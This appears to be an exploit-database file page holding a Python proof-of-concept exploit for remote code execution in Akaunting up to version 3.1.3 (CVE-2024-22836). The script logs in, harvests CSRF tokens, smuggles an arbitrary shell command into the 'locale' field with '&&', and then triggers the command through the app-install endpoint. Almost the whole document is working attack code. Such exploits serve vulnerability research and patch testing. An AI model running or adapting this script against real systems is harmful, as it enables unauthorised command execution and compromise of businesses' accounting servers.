60a90afc8d
7 changes to exploits/shellcodes/ghdb Ladder v0.0.21 - Server-side request forgery (SSRF) TP-Link TL-WR740N - Buffer Overflow 'DOS' Numbas < v7.3 - Remote Code Execution Akaunting < 3.1.3 - RCE DataCube3 v1.0 - Unrestricted file upload 'RCE' Hide My WP < 6.2.9 - Unauthenticated SQLi
122 lines
No EOL
3.8 KiB
Text
122 lines
No EOL
3.8 KiB
Text
# Exploit Title: Akaunting < 3.1.3 - RCE
|
|
# Date: 08/02/2024
|
|
# Exploit Author: u32i@proton.me
|
|
# Vendor Homepage: https://akaunting.com
|
|
# Software Link: https://github.com/akaunting/akaunting
|
|
# Version: <= 3.1.3
|
|
# Tested on: Ubuntu (22.04)
|
|
# CVE : CVE-2024-22836
|
|
|
|
#!/usr/bin/python3
|
|
|
|
import sys
|
|
import re
|
|
import requests
|
|
import argparse
|
|
|
|
def get_company():
|
|
# print("[INF] Retrieving company id...")
|
|
res = requests.get(target, headers=headers, cookies=cookies, allow_redirects=False)
|
|
if res.status_code != 302:
|
|
print("[ERR] No company id was found!")
|
|
sys.exit(3)
|
|
cid = res.headers['Location'].split('/')[-1]
|
|
if cid == "login":
|
|
print("[ERR] Invalid session cookie!")
|
|
sys.exit(7)
|
|
return cid
|
|
|
|
def get_tokens(url):
|
|
res = requests.get(url, headers=headers, cookies=cookies, allow_redirects=False)
|
|
search_res = re.search(r"\"csrfToken\"\:\".*\"", res.text)
|
|
|
|
if not search_res:
|
|
print("[ERR] Couldn't get csrf token")
|
|
sys.exit(1)
|
|
|
|
data = {}
|
|
data['csrf_token'] = search_res.group().split(':')[-1:][0].replace('"', '')
|
|
data['session'] = res.cookies.get('akaunting_session')
|
|
return data
|
|
|
|
def inject_command(cmd):
|
|
url = f"{target}/{company_id}/wizard/companies"
|
|
tokens = get_tokens(url)
|
|
headers.update({"X-Csrf-Token": tokens['csrf_token']})
|
|
data = {"_token": tokens['csrf_token'], "_method": "POST", "_prefix": "company", "locale": f"en_US && {cmd}"}
|
|
res = requests.post(url, headers=headers, cookies=cookies, json=data, allow_redirects=False)
|
|
if res.status_code == 200:
|
|
res_data = res.json()
|
|
if res_data['error']:
|
|
print("[ERR] Command injection failed!")
|
|
sys.exit(4)
|
|
print("[INF] Command injected!")
|
|
|
|
|
|
def trigger_rce(app, version = "1.0.0"):
|
|
print("[INF] Executing the command...")
|
|
url = f"{target}/{company_id}/apps/install"
|
|
data = {"alias": app, "version": version, "path": f"apps/{app}/download"}
|
|
headers.update({"Content-Type":"application/json"})
|
|
res = requests.post(url, headers=headers, cookies=cookies, json=data, allow_redirects=False)
|
|
if res.status_code == 200:
|
|
res_data = res.json()
|
|
if res_data['error']:
|
|
search_res = re.search(r">Exit Code\:.*<", res_data['message'])
|
|
if search_res:
|
|
print("[ERR] Failed to execute the command")
|
|
sys.exit(6)
|
|
print("[ERR] Failed to install the app! no command was executed!")
|
|
sys.exit(5)
|
|
print("[INF] Executed successfully!")
|
|
|
|
def login(email, password):
|
|
url = f"{target}/auth/login"
|
|
tokens = get_tokens(url)
|
|
|
|
cookies.update({
|
|
'akaunting_session': tokens['session']
|
|
})
|
|
|
|
data = {
|
|
"_token": tokens['csrf_token'],
|
|
"_method": "POST",
|
|
"email": email,
|
|
"password": password
|
|
}
|
|
|
|
req = requests.post(url, headers=headers, cookies=cookies, data=data)
|
|
res = req.json()
|
|
if res['error']:
|
|
print("[ERR] Failed to log in!")
|
|
sys.exit(8)
|
|
|
|
print("[INF] Logged in")
|
|
cookies.update({'akaunting_session': req.cookies.get('akaunting_session')})
|
|
|
|
def main():
|
|
inject_command(args.command)
|
|
trigger_rce(args.alias, args.version)
|
|
|
|
if __name__=='__main__':
|
|
parser = argparse.ArgumentParser()
|
|
parser.add_argument("-u", "--url", help="target url")
|
|
parser.add_argument("--email", help="user login email.")
|
|
parser.add_argument("--password", help="user login password.")
|
|
parser.add_argument("-i", "--id", type=int, help="company id (optional).")
|
|
parser.add_argument("-c", "--command", help="command to execute.")
|
|
parser.add_argument("-a", "--alias", help="app alias, default: paypal-standard", default="paypal-standard")
|
|
parser.add_argument("-av", "--version", help="app version, default: 3.0.2", default="3.0.2")
|
|
|
|
args = parser.parse_args()
|
|
|
|
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36"}
|
|
cookies = {}
|
|
target = args.url
|
|
|
|
try:
|
|
login(args.email, args.password)
|
|
company_id = get_company() if not args.id else args.id
|
|
main()
|
|
except:
|
|
sys.exit(0) |